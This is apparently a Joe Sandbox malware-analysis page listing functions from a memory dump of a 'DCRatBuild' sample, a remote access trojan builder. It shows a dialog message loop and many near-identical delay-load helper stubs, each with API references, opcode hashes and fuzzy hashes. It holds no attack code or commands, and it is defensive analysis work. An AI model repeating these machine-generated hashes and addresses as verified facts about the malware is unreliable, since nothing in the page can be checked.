Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 240179d3f154edc6730fe45ebb9a33b02c50d8612b723f0ee8097109da4f4e45
Instruction ID: be31cabbd9127045e3395fc08aeb9d433dc739ceca208c4f88b810136e241f25
Opcode Fuzzy Hash: 240179d3f154edc6730fe45ebb9a33b02c50d8612b723f0ee8097109da4f4e45
Instruction Fuzzy Hash: FED01231815182A58F2147344E0FAA97751DF8337AB38C6ECD025C44A1DB73C803F542

Function 00FDD41A Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,?,?), ref: 00FDD43F

Part of subcall function 00FDAC74: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00FDAC85
Part of subcall function 00FDAC74: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00FDAC96
Part of subcall function 00FDAC74: IsDialogMessageW.USER32(00010434,?), ref: 00FDACAA
Part of subcall function 00FDAC74: TranslateMessage.USER32(?), ref: 00FDACB8
Part of subcall function 00FDAC74: DispatchMessageW.USER32(?), ref: 00FDACC2

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: a87ef1ab11e3b55702cdb02b1a5114e3b019f691d0cfd0f473ed3ff5fccdc6e6
Instruction ID: 1dd9b47918d561180d2cee7e61718badfe5a8706bde33681cd9ae2f5ad648857
Opcode Fuzzy Hash: a87ef1ab11e3b55702cdb02b1a5114e3b019f691d0cfd0f473ed3ff5fccdc6e6
Instruction Fuzzy Hash: F2D09E31144300BBD6222B51CE07F1FBAA6BB98B04F104559B385740A6866A9D30AB16

Function 00FDD8FC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 73384e35da854b02b26a9dd5cf8df9253d58c41ae717bf1a5824c7268ceb5337
Instruction ID: 692782fbc15bb0a7fd23dfc96667ff30c86bb97b9deb93007738991e4dc0bfa1
Opcode Fuzzy Hash: 73384e35da854b02b26a9dd5cf8df9253d58c41ae717bf1a5824c7268ceb5337
Instruction Fuzzy Hash: 5DB012E626C0056C300D7245EC06E3A031DD8C0B15334400BF14DD12D0D440AC057433

Function 00FDD8F2 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7c271f040d257528e75a05835a305f658ef47858cb5f725eaea415808dcbd8a7
Instruction ID: 420950b0fe57cdac08717869436591790cb01ab4ff95bae7be0b20172121d77f
Opcode Fuzzy Hash: 7c271f040d257528e75a05835a305f658ef47858cb5f725eaea415808dcbd8a7
Instruction Fuzzy Hash: BEB012E626C0056C300D7244ED07E3A031DC8C0B15334400BF14DD12D0D440AD067433

Function 00FDD8E8 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 19708597b189a9c65cc724cb28e7ad9fa574205be09ec13ab8fb5996d1d0f797
Instruction ID: 3726b19d34554b31941247893b7a37faeaab98b3a30dc30901142e6a68932cd2
Opcode Fuzzy Hash: 19708597b189a9c65cc724cb28e7ad9fa574205be09ec13ab8fb5996d1d0f797
Instruction Fuzzy Hash: E8B012E626C1056C30497244EC06E3A031DC8C0B15334410BF14DD12D0D440AC457433

Function 00FDD8DE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 392b4ed428e884dc8c28e90c531fe0a3beeb91f7586f82e16a1d06158f289af5
Instruction ID: 7d70807a91ce61ba438e90b09354674627238510c309447998c6144cbc4c9855
Opcode Fuzzy Hash: 392b4ed428e884dc8c28e90c531fe0a3beeb91f7586f82e16a1d06158f289af5
Instruction Fuzzy Hash: 48B012E626C0056C30097244EC06E3A031DC8C1B15334800BF54DD12D0D440AC057433

Function 00FDD8CA Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4d022bcfc3e9f7effdcb0a4d6d393b724d771647462d9c43dd799fa43d3d323c
Instruction ID: 036dbaf66d2d76f7239132ef3747173fd6c0928e2d78a0f49769713d267dbcee
Opcode Fuzzy Hash: 4d022bcfc3e9f7effdcb0a4d6d393b724d771647462d9c43dd799fa43d3d323c
Instruction Fuzzy Hash: 2DB012D626C0056C300D6244ED07E3A031DC8C0B15334800BF149E13C0D440AC0F3433

Function 00FDD8C0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5384bacb3e51faa834e7826d47ed72e9a3660b0005c23fb9d56a7f5ab28144d3
Instruction ID: fba2246b10952f16db50b09c0ea8145b95b2d82da7fc8c6e3836b4d67651ece1
Opcode Fuzzy Hash: 5384bacb3e51faa834e7826d47ed72e9a3660b0005c23fb9d56a7f5ab28144d3
Instruction Fuzzy Hash: 8BB012D626C1056C30496244EC06E3A031DC8C0B15374810BF149D13C0D440AC8A3433

Function 00FDD8B6 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0af925884320c467aa77e74dd396939ebe3bfa16f7ad85f8d43511e3b40b9a01
Instruction ID: 9c8963ff44470c0ab80f13bd3730f39d00e3def58a3894bb5a96c9b0ec0bf457
Opcode Fuzzy Hash: 0af925884320c467aa77e74dd396939ebe3bfa16f7ad85f8d43511e3b40b9a01
Instruction Fuzzy Hash: C5B012D626C0056C30096244EC06E3A031DC8C1B15334C00BF549D13C0D440AC0A3433

Function 00FDD8AC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b4afb569f4e6decc319bc29f44853df61737f20be8c391bc9fef2b33e42db2e8
Instruction ID: 7fdda558d4dbf4fa08a56dc6081bde32720c608de170e97d09bb633b16a55caf
Opcode Fuzzy Hash: b4afb569f4e6decc319bc29f44853df61737f20be8c391bc9fef2b33e42db2e8
Instruction Fuzzy Hash: E6B012DA26C1096C30096244EC46E3F031DE8C0B15334400BF149D12C0D440AC053533

Function 00FDD891 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 297528b0d165cb2db038050a2ee56ab35aaea8370bab90af90c3ff8052a320ea
Instruction ID: 754304809ff3a5a2e96d6073f32f42d7879a761b5cfcd6a47d118e9ea58f711c
Opcode Fuzzy Hash: 297528b0d165cb2db038050a2ee56ab35aaea8370bab90af90c3ff8052a320ea
Instruction Fuzzy Hash: A2B012DA26C3057C30092240EC56D3F031DC8C0B15334451BF149E01D0D440AC497833

Function 00FDD942 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 75999d2704ab28bb93d76d00dd3726cfa2679d7b40a42426efc6b31419c4fa3d
Instruction ID: 563ed7b4288afe56d98c220ab3e590e18a237d202680d4b240f6188c8b56efc3
Opcode Fuzzy Hash: 75999d2704ab28bb93d76d00dd3726cfa2679d7b40a42426efc6b31419c4fa3d
Instruction Fuzzy Hash: DEB012E626C015AC300E6244ED07E3A039DC8C0B15334410BF549D12C0D440AC063433

Function 00FDD92E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c4447cdbe0673087cf4d8bf862cdab05b4d73eb4e2f843bb64b9eebaaae0c3d7
Instruction ID: 3de8d7e08a1c98f65f6049998fec0a514209a8fc5bc15376dad143a7998478ca
Opcode Fuzzy Hash: c4447cdbe0673087cf4d8bf862cdab05b4d73eb4e2f843bb64b9eebaaae0c3d7
Instruction Fuzzy Hash: A7B012D626C015AC300A6254EC06E3A035DC8C1B15334810BFA49D12C0D540AC053433

Function 00FDD924 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b895dafaa7c063d2e6ddbc371d31a37fd8795f74195a1c44ab168ca936314f0b
Instruction ID: 2d3618ddade7011776d40e55770d66fe0683ee74266a307e9ae0ba923ed28c87
Opcode Fuzzy Hash: b895dafaa7c063d2e6ddbc371d31a37fd8795f74195a1c44ab168ca936314f0b
Instruction Fuzzy Hash: B9B012D667D0056C3009A244EC06E3A035FDCC0B15334400BF149D12C0D440AC053433

Function 00FDD910 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: efdb848b0754b4eecccee4967913acde4669b1937f6fe19a64fa7d58a3a72019
Instruction ID: 5d514fbd0eb8a97f95f5d8d0f08a2749de498163dec8b9496980e65d6284f12e
Opcode Fuzzy Hash: efdb848b0754b4eecccee4967913acde4669b1937f6fe19a64fa7d58a3a72019
Instruction Fuzzy Hash: 5BB012E626D1056C3049A344EC06E3A031FC8C0B15334410BF149D12C0D440AC453433

Function 00FDD906 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDD8A3

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000000FFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001004000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135867914.0000000001021000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135974855.0000000001022000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_fc0000_DCRatBuild.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 61ff8d71e5571931d17f176fb1e14969924e0fb2046fba0beb28c7cf5b7cbd51
Instruction ID: 5ba13f8523ab819fe9c34aaebef0ba88f66044bf47928d073bb58745405b5bb9
Opcode Fuzzy Hash: 61ff8d71e5571931d17f176fb1e14969924e0fb2046fba0beb28c7cf5b7cbd51
Instruction Fuzzy Hash: 88B012D626D0056C3009A244EC06E3A031FC8C1B15334800BF549D12C0D440AC453433

Function 00FDDAD9 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00FDDAB2

Part of subcall function 00FDDF59: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00FDDFD6
Part of subcall function 00FDDF59: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00FDDFE7

Memory Dump Source

Source File: 0000000A.00000002.2135793475.0000000000FC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00FC0000, based on PE: true

Associated: 0000000A.00000002.2135752082.0000000000FC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000A.00000002.2135829964.0000000000FF3000.00000002.00000001.01000000.0000000D.sdmpDownload File
